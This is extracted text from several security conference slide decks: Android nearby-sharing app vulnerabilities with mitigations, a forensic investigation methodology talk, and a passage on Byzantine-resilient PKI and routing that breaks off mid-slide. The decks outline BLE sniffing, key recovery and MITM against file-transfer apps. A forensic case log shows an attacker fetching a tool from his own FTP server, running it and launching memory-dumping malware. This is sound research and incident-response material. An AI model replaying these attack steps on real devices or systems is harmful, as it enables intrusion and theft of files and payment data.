Your secret files are mine: Bug finding and exploit techniques on file transfer app of all top Android vendors Zhang Xiangqian Liu Huiming About us • Tencent • Largest social media and entertainment company in China • Tencent Security Xuanwu Lab • Applied and real world security research • Members of Advanced Security Team • Zhang Xiangqian(@h3rb0) • Huiming Liu (@liuhm09) Contents • Introduction • Attack Surfaces and Previous Works • Vulnerabilities & Exploit & Demo • Mitigation • Conclusion Introduction • Nearby Transmission Technologies • Bluetooth, Android beam, WiFi hotpot, WiFi Direct • Nearby Sharing on Android • Vendor’s App • xxxx Share, xxxx Drop … • Third Party App • SHAREit, Xender, AirDroid, Send Anywhere …… Motivation • Nearby file transfer • Bluetooth/NFC(Android Beam) • Not user friendly enough • Not fast enough • APPs based on Wi-Fi related Technology • Nearly all top Android Vendors have their Nearby file transfer APPs • 2018 shipment: nearly a billion android devices (IDC) • Third-party file transfer Apps • Top 10 Apps: nearly a billion users • But are those Apps safe? Android Sharing Apps Android Sharing Apps Android Sharing Apps • Scan The QR code to connect • Shake at the same time • … Android Sharing Apps Sharing Process Discover • BLE advertising Name, ID, Device Type ... Pair • Automatic pairing and key exchange Connect • WiFi / WiFi P2P Transfer • Pictures, Apks, Other Files …… Attack surface • Adversary: • Attackers can be sniffer and sender of BT and Wi-Fi packets • Damage: • Attackers can get the transferred files • Others: Traffic hijacking, Info leaking, RCE… • Attack Surfaces: • Link Establishing • Secure Transmission • Device / ID Spoofing • MITM • Others(Web Server) Link Establishing • Connect automatically • Attackers may join into the network without users’ permission. • Networks’ key negotiating • Attackers may obtain the established networks’ passwords. Secure transmission • No Encryption • Get the file directly • Unsafe key exchange • Recover the real file from the encrypted traffic Device / ID Spoofing • Authenticate the real devices / users • Device/ID Spoofing Alice Bob Attacker I am bob I am bob Info Collect Man-in-the-middle • Bluetooth MITM attack • WiFi/WiFi P2P MITM attack • Two Level • Users may feel something strange • The users can’t feel anything (✔ ️) Others • Web Server • Directory traversal • Other information disclosure • Android components related Previous researches • ZeroConf on OSX / iOS • Discovering and Exploiting Novel Security Vulnerabilities in Apple ZeroConf -- Xiaolong Bai & Luyi Xing (S&P 2016) • Reverse Google Nearby Connection API • Nearby Threats: Reversing, Analyzing, and Attacking Google’s ‘Nearby Connections’ on Android – Antonioli, Daniele, etc. (NDSS ’19) Our Research • First comprehensive research about Android Nearby Sharing Apps • Analyzed many related Apps including Pre-installed / Third Party Apps • Found a lot vulnerabilities in various Apps • Arrange them in several common attack methods Vulnerabilities’ categories • Sniffer attack related vulnerabilities • Man-in-the-middle attack related vulnerabilities • Logic vulnerabilities • Other vulnerabilities Sniffer attack BLE Sniffer • Ubertooth 、CC2540、nRF51 BLE Advertising Secret data Secret data • What does this secret data mean? • 7fa1818a8188c9365614e6879cccd0e03576ee51c86995346eff9ceca242cce1 aa0ed28c590211a3af3d9e67d236f640bf12645daf17ef7699c0ecc416574510 2f13e42564ed91336ef1e10e15b87408d11081b0a961e1009da9da8db875c9 638000000094000000 Reverse Older version Older version Decrypt p2pCfgEx = Encrypt.decrypt(sourceStrArray[0], Encrypt.generateSecureKey(Encrypt.generateRootKey("XXXXXXXXXXXXXXX", " XXXXXXXXXXXXXXX", this.mSecureRandom), sourceStrArray[2]), sourceStrArray[1]); this.mSecureRandom = service.getApplicationContext().getResources().getString(R.string.ble_xxxx_key); /res/values/strings.xml: <string name="ble_xxxx_key">XXXXXXXXXXXXXXX</string> Decrypt • Get sourceStrArray from BLE pcaket • sSrc = sourceStrArray[0] • sIv = sourceStrArray[1] • Rootkey = enerateRootKey(" XXXXXXXXXXXXXXX ", " XXXXXXXXXXXXXXX ",mSecureRandom) • sKey = generateSecureKey(rootkey,sourceStrArray[2]) • p2p_info = decrypt(sSrc,sKey,sIv) Decrypt Sniffer • Sniffer BLE • Extract the secret data • Decrypt the secret data • Join the P2P Group • ARP spoofing • Got the secret files! Demo 1 Demo 2 Device and ID spoofing • Who is herbo zhang? • How to confirm identity? • DEVICE? ID? ICON? Device and ID spoofing Device and spoofing • Who is really AAAA? Man-in-the-middle Who is the real receiver? A has 50% chance to choose attacker. B A B’ A’ Attacker Man-in-the-middle • A can't find the attacker A’ • The attacker does not send a scan response to A • B can’t find the attack B’ • B is not in discovery mode • Attacker can distinguish between A and A', B and B’ • The attacker can choose to block or receive any message • The users (A,B) can’t feel anything Demo 3 None-confirm connection • Secure connection process • Unsecure connection process A request B confirm AB establish link A send B receive A request AB establish link A send B confirm B receive None-confirm connection None-confirm connection • Bring more attack surfaces None-confirm connection • Hijacking the network Hijacking the network • Who is server? Sender? Receiver? • Can I choose to be a server? • Can I make the other user connect to my WiFi without interaction? Yes! Yes! Demo 4 Other vulnerabilities • Accept automatically via Wi-Fi P2P • Directory traversal • RFM Vulnerabilities Wi-Fi/Wi-Fi P2P Access Control • Need to input password Accept automatically via Wi-Fi P2P • However, when we use Wi-Fi P2P protocal to connect: • All authentications are gone! Directory traversal • A: Can I send you a file? • B: Yes • B: Please send it. I’m ready. • A: I want to send it to you: /PATH/AAAA.JPG • B: Send GET request for /PATH/AAAA.JPG • A: Send /PATH/AAAA.JPG Demo 5 Remote file management on computer RFM Vulnerabilities • Anonymous users have READ and WRITE permissions Summary • None-confirm before WiFi Connection Established • Not well protected access to WiFi/WiFi P2P • Unsecure Transport • No anti-spoofing Pre-installed Nearby Sharing Apps App Confirm before WiFi Connection Established WiFi/WiFi P2P Authentication Secure Transport Prevent Spoofing A B C D : No security measures : Have security measures but can be bypassed : Have security measures Top 10 Third Party Nearby Sharing Apps 10% 20% 70% Sniffer Attack : Vulnerable : Safe : Partial Vulnerable 20% 10% 70% Spoofing Mitigation • More secure Wi-Fi / Wi-Fi P2P Key Exchange • Transport encryption • Prevent spoofing • Others tips Secure WiFi/WiFi P2P Key Exchange • Transfer the KEY over a secure channel • Out of band: NFC • Certificate based key-exchange mechanism • Transferring keys over the Internet securely • PIN / PBC Secure Transport • Using TLS/HTTPS instead of TCP/HTTP • Transferring keys over the Internet securely • Pre-exchanged keys Prevent spoofing • Certificate based authentication • Unique ID • Distributed by the server • Signed with pre-defined trust anchor • Attacker can’t sign the Unique ID correctly • Make sure that the device can distinguish between real users and attackers Others tips • Prevent attackers from joining the network • Turned off by default, turned off after a period of idle time • Confirm before connection established • Do not establish connection automatically with users who are unidentifiable Recommended design Conclusion • Attack vectors of nearby sharing apps • First comprehensive research about them • Found Many vulnerabilities categorized in several common attack methods • Present some effective mitigation methods
pdf
2 3 4 5 6 7 8 9 10 11 12 13 14 15 21317 subdomain 11928 unique IP 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 66 67 68 69 70 75 76 77 78 79 80 82 84 85 91 93 96 97 98 99 100 104 109 113 114
pdf
Sniper Forensics “One Shot, One Kill” Christopher E. Pogue - Trustwave Copyright Trustwave 2009 Confidential Thank You Dan Christensen! http://dcdrawings.blogspot.com/ Copyright Trustwave 2009 Confidential Who Am I? • Senior Security Consultant for the Trustwave SpiderLabs • Master’s degree in Information Security • Author of “Unix and Linux Forensic Analysis” by Syngress • Author of the blog, “The Digital Standard” • Board of Governors for the HTCIA • Member of the USSS Miami Electronic Crimes Task Force • Speaker @ SANS “What Works in Incident Response” ‘09 and ‘10, The Computer Forensics Show ‘09 and ‘10, Direct Response Forum, SecTor ‘09 and ‘10, USSS ECTF - Miami Conference, The Next HOPE, BSIDESLV, and most recently, DEF CON 18. • Former US Army Signal Corps Warrant Officer • Former CERT team member – SEI at CMU Copyright Trustwave 2009 Confidential Agenda • What is Shotgun Forensics? • What is Sniper Forensics? • Guiding Principles • Create an Investigation Plan • Data Reduction • Volatile Data Gathering and Analysis • Data Correlation • Tools • Case Studies • Bring it All Together • Conclusion Copyright Trustwave 2009 Confidential Shotgun Forensics The process of taking a haphazard, unguided approach to forensic investigations: • “Old school” • Image everything • Reliance on tools – autopilot • Pull the plug Copyright Trustwave 2009 Confidential Sniper Forensics The process of taking a targeted, deliberate approach to forensic investigations: • Create an investigation plan • Apply sound logic − Locard − Occam − Alexiou • Extract what needs to be extracted, nothing more • Allow the data to provide the answers • Report on what was done • Answer the questions Copyright Trustwave 2009 Confidential Three Round Shot Group Infiltration • How did the bad guy(s) get onto the system(s) Aggregation • What did they do − What did they steal Exfiltration • How did they get off the system − How did they get stolen data off the system * This is commonly referred to as the “Breach Triad” – term credited to Colin Sheppard, Incident Response Director, SpiderLabs. Copyright Trustwave 2009 Confidential What Others are Saying Q: How important do you think it is to have a clear plan of attack for a forensic investigation? A: “I'd suggest that its paramount...whether you develop the plan from scratch or start with documented processes. If you have a plan and miss something, you can determine what you missed; without a plan, you can't do that.” Harlan Carvey, VP of Advanced Security Projects, Terremark/Author “Having an investigative plan is critical. Such a plan should describe what you're looking for, how you'll know when you've found it, and when to stop. Without it, an investigation can become mired or unfocused.” Jesse Kornblum, Senior Forensic Scientist, Mantech Copyright Trustwave 2009 Confidential What Others are Saying (cont.) “You cannot just cross your fingers and magically hope you will find the evil you are looking for. You have to know what you are looking for. Finding evil requires you to know what you need to prove and then use a combination of scientific analysis and proven techniques to find it.” Rob Lee, Principle Consultant, Mandiant/SANS “Having a clear plan of attack for a forensic investigation is absolutely paramount. This is especially true when operating in environments when a forensic team may not be necessarily welcome. A clear plan of attack allows the investigator to conduct their investigation in a efficient and deliberate manner.” Auston Davis, Senior Manager, Global Cyber-Threat Response, Symantec/OSI Officer, USAF Copyright Trustwave 2009 Confidential Guiding Principles • Locard’s Exchange Principle • Occam’s Razor • The Alexiou Principle Copyright Trustwave 2009 Confidential Locard’s Exchange Principle • Established by Edmund Locard (1877-1966) • Regarded as the father of modern forensics • Uses deductive reasoning – All good forensic investigators are bald – Harlan Carvey is bald – (Therefore) Harlan Carvey is a good forensic investigator. Edmund Locard Copyright Trustwave 2009 Confidential Occam’s Razor • Establish by William of Occam – 13th century Franciscan Friar – Major contributor to medieval thought – Student of Aristotelian logic • The simplest answer is usually right – The modern KISS principle • “Keep It Simple Stupid” – Don’t speculate – Let the data be the data William of Occam Copyright Trustwave 2009 Confidential The Alexiou Principle Documented by Mike Alexiou, VP, Engagement Services Terremark − What question are you trying to answer? − What data do you need to answer that question? − How do you extract/analyze that data? − What does the data tell you? Copyright Trustwave 2009 Confidential Create an Investigation Plan What are your goals? • Write them down − Clear, concise, obtainable • If they are not CLEAR and CONCISE, you need to make them that way • Success indicators − What will it look like when you find what you are looking for − Don’t blow this off, REALLY think about this • Make sure you are on the same page with the client − Define and deliver − Give them what you told them you were going to give them Plan the work and work the plan • Answer the questions you ask yourself • Show your work • If an answer cannot be found, provide the negative evidence Copyright Trustwave 2009 Confidential Create an Investigation Plan This is THE MOST important phase of the investigation process. (If you blow this, the entire case will be in jeopardy…Seriously) • You CANNOT be asked to “find the bad guy stuff” and walk away! There is no way to qualify or quantify that kind of statement! Identify the target Lock on Engage Copyright Trustwave 2009 Confidential Data Reduction • Determine what is “normal” • Eliminate “normal” from your view • What’s left over is abnormal • Provides good ole fashioned “leads” • Document what you did, why you did it, and the results • Answer the new questions Copyright Trustwave 2009 Confidential Volatile Data Gathering Critical to the investigation • Likely your only chance to review the live system − Attackers may still be present − Malware is running in its original state − THIS is the crime scene • Gather as much as you can − Use “trusted” tools − No such thing a “court approved” − Know your footprint, and be able to account for it • Review during image acquisition − Major developments in minutes − Customer is good source of intel − Feeds back into the investigation plan Copyright Trustwave 2009 Confidential Volatile Data Analysis What is the suspect system “supposed” to be doing • Primary function of system • Define what “normal” looks like • Use the customer’s knowledge of their own system What does it look like it’s doing • Running Processes − What is running − From where − Why • Network connections − What connections are being made − To where − Why Copyright Trustwave 2009 Confidential Volatile Data Analysis (cont.) Event Logs (if you are lucky enough to have them) • Who is logged in • What have they done • From where • Know your event log numbers (or at least know where to read about them) Registry • GOLD MINE – Basically a huge, detailed, log file • What has each user been doing (ntuser.dat) − How − From where (know which keys record this data) − LastWrite times • Can be extracted from a live system • Parsed with RegRipper/RipXP Copyright Trustwave 2009 Confidential Volatile Data Analysis (cont.) Restore Points (Shadow Copy Volumes) • Record major changes to the system or chronological • Can be parsed to show when things took place − Malware was not present yesterday, but is there today − System was “updated” – something was installed − Registry changes are included (THIS IS HUGE) • Can be parsed with RipXP System Information • Operating System • Patch level • Auditing policies • Password policies Copyright Trustwave 2009 Confidential Volatile Data Analysis (cont.) RAM • Another GOLD MINE • Encryption keys • Running processes − Open handles − Mutexes • Garble • Least frequency of occurrence − Dlls being used − Network connections − Binaries have to be unpacked to run − Strings • Usernames and passwords • Regexes • Luhn checks Copyright Trustwave 2009 Confidential Data Correlation Multiple sources build context and confidence • Various log files (Dr. Watson, Evt, firewall logs, etc) • Data from restore points (Shadow Volume Copies) • Registry (System, Software, NTUSER.dat) KNOW what you are looking for, and what question you are trying to answer – the data will do the rest! All you have to do it bring it all together! Copyright Trustwave 2009 Confidential Timeline Analysis • Can help provide a window into activity on a specific date • Can provide information about a specific file • Even deleted files will leave residual timeline fragments Include: • File system data • Registry • Log files This a relatively new technique, and you can get a LOT of use out of a tool named, “Log2Timeline” by Kristinn Gudjonsson - http://www.log2timeline.net/ Copyright Trustwave 2009 Confidential Tools Copyright Trustwave 2009 Confidential Case Studies All Your Registry Entries Are Belong to Us! • Binary wiped with sDelete • Residual evidence of execution left in registry • LastWriteTime confirmed time of last execution • Dates matched entries in Firewall Logs! Timeline Says U R p0wn3d • Timeline shows nefarious activity • Quickly identified malware, dump file, and method of exfiltration • Multiple breaches – All visible in the timeline! Don’t Count Your Keylogger B4 It’s Hatched…wait…what??? • Identified keylogger output file from timeline • Outfile contained IP address, as well as malawre • TIP: DON’T start your keylogger if you still have tools to download! Copyright Trustwave 2009 Confidential All Your Registry Entries and Belong to Us! LastWrite Time Thu Mar 4 09:18:13 2010 (UTC) MRUList = a a -> C:\WINDOWS\system32\ENT.exe LastWrite Time Thu Mar 4 09:18:13 2010 (UTC) MRUList = a a -> C:\WINDOWS\system32\10.193.nbscan.csv listsoft v.20080324 List the contents of the Software key in the NTUSER.DAT hive file, in order by LastWrite time. Thu Mar 4 09:27:49 2010Z ENT2 Thu Mar 4 09:18:53 2010Z Far Copyright Trustwave 2009 Confidential All Your Registry Entries and Belong to Us! LastWrite Time Thu Mar 4 09:18:53 2010 (UTC) Software\Far\PluginsCache Software\Far\PluginsCache LastWrite Time Thu Mar 4 09:18:46 2010 (UTC) Software\Far\PluginsCache\Plugin0 Software\Far\PluginsCache\Plugin0 LastWrite Time Thu Mar 4 09:18:46 2010 (UTC) Software\Far\PluginsCache\Plugin0\Exports Software\Far\PluginsCache\Plugin0\Exports LastWrite Time Thu Mar 4 09:18:46 2010 (UTC) SetFindList -> 0 OpenPlugin -> 1 ProcessEditorEvent -> 0 ProcessEditorInput -> 0 OpenFilePlugin -> 0 ProcessViewerEvent -> 0 SysID -> 0 CommandPrefix -> ftp ID -> 21000afa9e205afac4494 Flags -> 0 PluginMenuString0 -> FTP client Preload -> 0 PluginConfigString0 -> FTP client DiskMenuNumber0 -> 2 DiskMenuString0 -> FTP Name -> C:\WINDOWS\system32\dver\Plugins\FTP\FARFTP.DLL Software\Far\SavedDialogHistory Software\Far\SavedDialogHistory LastWrite Time Thu Mar 4 09:18:53 2010 (UTC) Software\Far\SavedDialogHistory\Copy Software\Far\SavedDialogHistory\Copy LastWrite Time Thu Mar 4 09:28:16 2010 (UTC) Line1 -> C:\WINDOWS\system32\dver Line0 -> C:\WINDOWS\system32\ Copyright Trustwave 2009 Confidential Timeline Says U R p0wn3d Tue Mar 23 2010 03:41:47,14194,mac.,r/rrwxrwxrwx,0,0,50532-128-4,'C:/'/WINDOWS/Prefetch/FTP.EXE-06C55CF9.pf Tue Mar 23 2010 03:42:18,264704,m...,r/rrwxrwxrwx,0,0,35378-128-3,'C:/’/WINDOWS/system32/b.exe Tue Mar 23 2010 03:42:18,264704,m...,r/rrwxrwxrwx,0,0,35382-128-3,'C:/’/WINDOWS/system32/ssms.exe Tue Mar 23 2010 03:42:31,264704,...b,r/rrwxrwxrwx,0,0,35378-128-3,'C:/’/WINDOWS/system32/b.exe Tue Mar 23 2010 03:42:31,11796,...b,r/rrwxrwxrwx,0,0,35381-128-4,'C:/'/WINDOWS/Prefetch/BAND1.EXE-05391BAA.pf Tue Mar 23 2010 03:42:36,264704,...b,r/rrwxrwxrwx,0,0,35382-128-3,'C:/’/WINDOWS/system32/ssms.exe Tue Mar 23 2010 03:42:36,54046,...b,r/rrwxrwxrwx,0,0,35383-128-4,'C:/'/WINDOWS/Prefetch/B.EXE-2FBDED0A.pf Tue Mar 23 2010 03:42:38,10878,...b,r/rrwxrwxrwx,0,0,35413-128-4,'C:/'/WINDOWS/Prefetch/SSMS.EXE-25BDC5E5.pf Tue Mar 23 2010 03:42:46,11796,mac.,r/rrwxrwxrwx,0,0,35381-128-4,'C:/'/WINDOWS/Prefetch/BAND1.EXE-05391BAA.pf Tue Mar 23 2010 03:43:15,92160,...b,r/rrwxrwxrwx,0,0,35414-128-3,'C:/'/WINDOWS/bupl.dll Tue Mar 23 2010 03:43:16,92160,m.c.,r/rrwxrwxrwx,0,0,35414-128-3,'C:/'/WINDOWS/bupl.dll Tue Mar 23 2010 03:43:16,56,...b,d/drwxrwxrwx,0,0,35421-144-5,'C:/'/WINDOWS/system32/drivers/blogs Tue Mar 23 2010 03:43:38,20315,...b,r/rrwxrwxrwx,0,0,35422-128- 4,'C:/'/WINDOWS/system32/drivers/blogs/23_03_2010.html Copyright Trustwave 2009 Confidential Don’t Count Your Keylogger B4 It’s Hatched…wait…what??? UltraVNC Win32 Viewer 1.0.1 Release Attacker using UltraVNC to access POS system VNC Authentication support Enter 1pos ( 192.168.108.101 ) cmd Enter ftp X0.X.X.218 Attacker initiating FTP session with his server (username and password not available since the commands would have been issued on the remote system and not logged locally) Enter Enter Enter hash Enter bin Enter mget band1.exe Attacker downloading additional tool Bye Attacker terminating FTP session Enter band1.exe Attacker initiating binary Enter del band1.exe Attacker deleting binary DDCDSRV1 7.3.447 –HACKMEBANK Attacker accesses Digital Dining Enter ioi.exe <- Attacker launching Memory Dumping Malware Copyright Trustwave 2009 Confidential Bring it all together What was your goal • Restate your objectives − “The goal of this investigation was to determine BLAH…” • Conclusions should support objectives − “It was determined that BLAH took place…” • Clear, concise, direct − Know your audience • C-Staff / technical / small business owner • Write to your audience • “Leave your ego at the door” − No fluff • Say what you need to say and move on…DO NOT be verbose − No erroneous information • Deliver what you were brought in to deliver Copyright Trustwave 2009 Confidential Bring it all together (cont.) What data provided answers • Here is where to be specific − Should be repeatable by anyone − State exactly what you did and why − Avoid “lameness” What were the answers • How do they support the goals • Sound conclusions are indisputable • You are the expert (So act like it!) Copyright Trustwave 2009 Confidential Conclusion • Develop an analysis plan • Apply sound logic • Use data reduction • Identify anomalies • Generate a conclusion based on: – Customer objectives – Guiding principles – Data analysis • Let the DATA guide your theory…NEVER force the data into your theory! Questions? cepogue@trustwave.com
pdf
Resilience Despite Malicious Participants Radia Perlman radia.perlman@emc.com EMC 1 This talk • I’ll give a few examples to show the wildly different types of problems and solutions 2 Byzantine Failures • Fail-stop: Something works perfectly, then halts • Byzantine: Where something stops doing the right thing, but doesn’t halt, for instance – Sends incorrect information – Computes incorrectly • The term came from a famous paper where a bunch of processors try to agree on the value of a bit (“attack” or “retreat”) – Lamport, L., Shostak, R., Pease, M. (1982). “The Byzantine Generals Problem”, ACM Transactions on Programming Languages and System • Misbehavior can cause problems even if not consciously malicious (bugs, misconfiguration, hardware errors) 3 Malicious Participants • All sorts of things can be subverted with a small number of malicious participants – “How a Lone Hacker Shredded the Myth of Crowdsourcing” • https://medium.com/backchannel/how-a-lone-hacker- shredded-the-myth-of-crowdsourcing-d9d0534f1731 4 Malicious Participants • All sorts of things can be subverted with a small number of malicious participants – “How a Lone Hacker Shredded the Myth of Crowdsourcing” • https://medium.com/backchannel/how-a-lone-hacker- shredded-the-myth-of-crowdsourcing-d9d0534f1731 • However…Things that shouldn’t work (but do) – Wikipedia – Ebay 5 I’ll talk about different examples • PKI model resilient to malicious CAs • Networks resilient to malicious switches • Resilient and nonresilient designs for data storage with assured delete • Human 6 Example 1: PKI 7 What’s PKI? • “Public Key Infrastructure” • A way for me to know your public key 8 Next topic: Trust Models for PKI • Where damage from dishonest or confused CAs can be limited 9 Quick review of public keys, certificates, PKI, CAs • Certification Authority (CA) signs “Certificates” 10 Alice’s Certificate, signed by CA 11 Name=Alice Public key= 489024729 CA’s signature Communication using certs Alice Bob “Alice”, [Alice’s key is 24789]CA “Bob”, [Bob’s key is 34975]CA mutual authentication, etc. 12 What people do think about • Academics worry about the math • Standards Bodies worry about the format of the certificate 13 What people do think about • Academics worry about the math • Standards Bodies worry about the format of the certificate • Both are important, but people should also worry about the trust model – I will explain what that means 14 PKI Models • Monopoly • Oligarchy • Anarchy • Top-down, name constraints • Bottom-up 15 Monopoly • Choose one organization, for instance, “Monopolist.org” • Assume Monopolist.org is trusted by all companies, countries, organizations • Everything is configured to trust Monopolist.org’s public key • All certificates must be issued by them • Simple to understand and implement 16 Monopoly 17 Alice Bob Trust Monopolist.org [This number is Bob’s key] signed by Monopolist.org Monopoly: What’s wrong with this model? • No such thing as “universally trusted” organization • Monopoly pricing • More widely it’s deployed, harder to change the CA key to switch to a different CA, or even to roll-over the key • That one organization can impersonate everyone 18 Oligarchy of CAs • Everything (say browsers) configured with 100 or so trusted CA public keys • A certificate signed by any of those CAs is trusted • Eliminates monopoly pricing 19 Oligarchy 20 Alice Bob Trust any of {CA1, CA2, CA3, …CAn} [This number is Bob’s key] signed by CAi What’s wrong with oligarchy? • Less secure! – Any of those organizations can impersonate anyone 21 Important Enhancement: Certificate Chains • Instead of presenting a certificate signed by a CA Alice knows and trusts, Bob presents a chain of certs, starting with X1, which Alice trusts 22 Certificate chains 23 Alice Bob Trust X1 [X1 says a is X2’s key] signed by X1’s key [X2 says b is X3’s key] signed by a [X3 says d is Bob’s key] signed by b Certificate chains 24 Alice Bob Trust X1 [X1 says a is X2’s key] signed by X1’s key [X2 says b is X3’s key] signed by a [X3 says d is Bob’s key] signed by b Next model: Anarchy 25 Anarchy • User personally configures trust anchors • Anyone signs certificate for anyone else • Public databases of certs (read and write) • Alice tries to find a path from a key her machine knows, to the target name, by piecing together a chain 26 Unstructured certs, public database 27 Alice configured with these Alice wants Bob’s key Unstructured certs, public database 28 Alice configured with these This cert says a is Bob’s key Alice wants Bob’s key Unstructured certs, public database 29 Alice configured with these This cert says b is Bob’s key Alice wants Bob’s key This cert says a is Bob’s key Anarchy • Problems – won’t scale (too many certs, computationally too difficult to find path) – no practical way to tell if path should be trusted – (more or less) anyone can impersonate anyone 30 Now I’ll talk about how I think it should work 31 Now getting to recommended model • Important concept: – CA trust isn’t binary: “trusted” or “not” • CA only trusted for a portion of the namespace – The name by which you know me implies who you trust to certify my key • Radia.perlman.emc.com • Roadrunner279.socialnetworksite.com • Creditcard#8495839.bigbank.com – Whether these identities are the same carbon-based life form is irrelevant 32 Need hierarchical name space • Yup! We have it (DNS) • Each node in namespace represents a CA 33 Top-down model (almost what we want) a.com x.a.com y.a.com alice@x.a.com bob@x.a.com carol@y.a.com 34 Root Top-down model • Everyone configured with root key • Easy to find someone’s public key (just follow namespace) 35 Top-down model • Everyone configured with root key • Easy to find someone’s public key (just follow namespace) • Problems: – Still monopoly at root – Root can impersonate everyone – Every CA on path from Root to target can impersonate target node 36 Bottom-Up Model (what I recommend) 37 Two-way certificates (up and down) • Each arc in name tree has parent certificate (up) and child certificate (down) 38 a.com x.a.com No need to start at the Root a.com x.a.com y.a.com alice@x.a.com bob@x.a.com carol@y.a.com 39 Root Could start here No need to start at the Root a.com x.a.com y.a.com alice@x.a.com bob@x.a.com carol@y.a.com 40 Root Or here No need to start at the Root a.com x.a.com y.a.com alice@x.a.com bob@x.a.com carol@y.a.com 41 In subtree below x.a.com, fewer CAs to trust (a.com, and Root, aren’t on path to nodes in subtree) Root Another enhancement: “Cross- certificates” • Cross-cert: Any node can certify any other node’s key • Two reasons: – So you don’t have to wait for PKI for whole world to be created first – Can bypass hierarchy for extra security 42 Cross-links to connect two organizations a.com xyz.com 43 Nodes in a.com and xyz.com subtrees can find each other’s key. No need for Root, or entire connected PKI Cross-link for added security a.com xyz.com root 44 Cross-link for added security a.com xyz.com root 45 Nodes in this subtree can bypass root, and a.com Navigation Rules • Start somewhere (your “root of trust” .. could be your own public key) • If you’re at an ancestor of the target node, follow down- links • Else, look for cross-link to ancestor, and if so, follow that • Else, go up a level 46 Note: Crosslinks do not create anarchy model • You only follow a cross-link if it leads to an ancestor of target name 47 Advantages of Bottom-Up • Security within your organization is controlled by your organization (CAs on path are all yours) • No single compromised key requires massive reconfiguration • Easy to compute paths; trust policy is natural, and makes sense • Malicious CA’s can be bypassed, and damage contained 48 Example 2: Network Routing 49 Traditional Router/switch 50 packet Router/switch Forwarding table Computing the Forwarding Table • Distributed computation of forwarding tables with link state protocol 51 52 A B C D E F G 6 2 5 1 2 1 2 2 4 Link State Routing A network 53 A B C D E F G 6 2 5 1 2 1 2 2 4 A B/6 D/2 B A/6 C/2 E/1 C B/2 F/2 G/5 D A/2 E/2 E B/1 D/2 F/4 F C/2 E/4 G/1 G C/5 F/1 Link State Routing What about malicious switches? • They can – Give false info in the routing protocol – Flood the network with garbage data – Forward in random directions, resetting the hop count on packets to look new – Do everything perfectly, but throw away traffic from a particular source 54 All sorts of traditional different approaches • Try to agree who the bad guy(s) are – Reputation (problems: who do you believe, bad guys can create arbitrarily many identities, what if bad guy is only bad to one source?) – Troubleshooting (can be well-behaved when testing) • Enforce routing protocol correctness – 2-way links – S-BGP – But that’s just routing protocol. Who cares about that? You want your packets delivered. 55 My thesis (1988) • Want to guarantee A and B can talk provided at least one honest path connects them – With reasonably fair share of bandwidth – “Honest path” means all switches on that path are operating properly 56 57 Flooding • Transmit each packet to each neighbor except the one from which it was received • Have a hop count so packets don’t loop infinitely • This works! Pkts between A and B flow, if there is at least one nonfaulty path… 58 Flooding • Transmit each packet to each neighbor except the one from which it was received • Have a hop count so packets don’t loop infinitely • This works! Pkts between A and B flow, if there is at least one nonfaulty path… • If there is infinite bandwidth….whoops! 59 So, just a resource allocation problem • The finite resources are – computation in switches • assume we can engineer boxes to keep up with wire speeds – memory in switches – bandwidth on links 60 Byzantinely Robust Flooding • Memory – reserve a buffer for each source • Bandwidth – round-robin through buffers 61 Byzantinely Robust Flooding • Source signs packet – (prevent someone occupying source’s buffer) • Put sequence number in packet – (prevent old packets reinjected, starving new one) 62 Configuration • Every node needs other nodes’ public keys; would be a lot of configuration • So instead have “trusted node” TN (similar function to a CA) – TN knows all other nodes’ public keys – All other nodes need their own private key, and the trusted node public key • Since everyone knows TN’s public key, TN can flood – Info it floods: all nodes’ public keys 63 Inefficient to send data with flooding • So, we’ll do something else for unicast • But we will use robust flooding for two things – easing configuration (advertising public keys) – distributing link state information 64 A B C D E F G 6 2 5 1 2 1 2 2 4 A B/6 D/2 B A/6 C/2 E/1 C B/2 F/2 G/5 D A/2 E/2 E B/1 D/2 F/4 F C/2 E/4 G/1 G C/5 F/1 Link State Routing 65 Data Packets/unicast • “Traditional” per-destination forwarding won’t work – Bad guy can keep network in flux by flipping state of a link – What do you do if path works for everyone but S? 66 Data Packets/unicast • “Traditional” per-destination forwarding won’t work – Bad guy can keep network in flux by flipping state of a link – What do you do if path works for everyone but S? • Conclusion: Source has to choose its own path 67 Data packets • Source chooses a path • Sets it up with a cryptographically signed setup packet, specifying the path • Routers along the path have to keep per (S,D) pair – Input port – Output port – Buffers for data packet fwd’ed on this flow 68 Unicast Forwarding • No crypto needed • Just additional check “is it coming from expected port?” • As long as path is honest, no malicious switch off the path can disrupt flow 69 Simple heuristics for S choosing a path that works for S • If path to D works (end-to-end acks), then have more trust in routers along that path • If path doesn’t work, be suspicious of the routers on that path • Try to eliminate routers one at a time, but if lots of bad guys, can be really expensive Note this isn’t too scalable • Since every path requires state • And requires source seeing entire path (which it can’t in hierarchical network) • More recent work fixes that – Perlman, R., Kaufman, C., “Byzantine Robustness, Hierarchy, and Scalability”, IEEE Conference on Communications and Network Security, CNS 2013. 70 Resilience • Source has fate in its own hands: no need for “agreement” • Malicious TN: have multiple and vote, or just reserve resources for any public key advertised (and malicious TN can’t use up more than ½ the resources, and will be quickly caught) 71 Example 3: Data: Making it be there when you want it, and making it go away when you want it gone 72 Resilient expiring data • Paper “File System Design with Assured Delete” https://www.isoc.org/isoc/conferences/ndss/07/papers/fi le_system_assured_delete.pdf 73 Expiration time • When create data, put (optional) “expiration date” in metadata • After expiration, data must be unrecoverable, even though backups will still exist 74 Obvious approach • Encrypt the data, and then destroy keys • But to avoid prematurely losing data, you’d have to make lots of copies of the keys • Which means it will be difficult to ensure all copies of backups of expired keys are destroyed 75 First concept: Encrypt all files with same expiration date with the same key 76 File system with Master keys Master keys S1 Jan 7, 2016 S2 Jan 8, 2016 S3 Jan 9, 2016 … file Exp 01/08/16 Encrypted With S2 Master keys: Secret keys (e.g., AES) generated by storage system Delete key upon expiration 77 File system with Master keys Master keys S1 Jan 7, 2016 S2 Jan 8, 2016 S3 Jan 9, 2016 … file Exp 01/08/16 {K}S2 Encrypted With K Master keys: Secret keys (e.g., AES) generated by storage system Delete key upon expiration 78 How many keys? • If granularity of one per day, and 30 years maximum expiration, 10,000 keys 79 So…how do you back up the master keys? 80 Imagine a service: An “ephemerizer” • creates, advertises, protects, and deletes public keys • Storage system “ephemerizes” each master key on backup, by encrypting with (same expiration date) ephemerizer public key • To recover from backup: storage system asks ephemerizer to decrypt 81 Ephemerizer publicly posts Jan 7, 2016: public key PJan7of2016 Jan 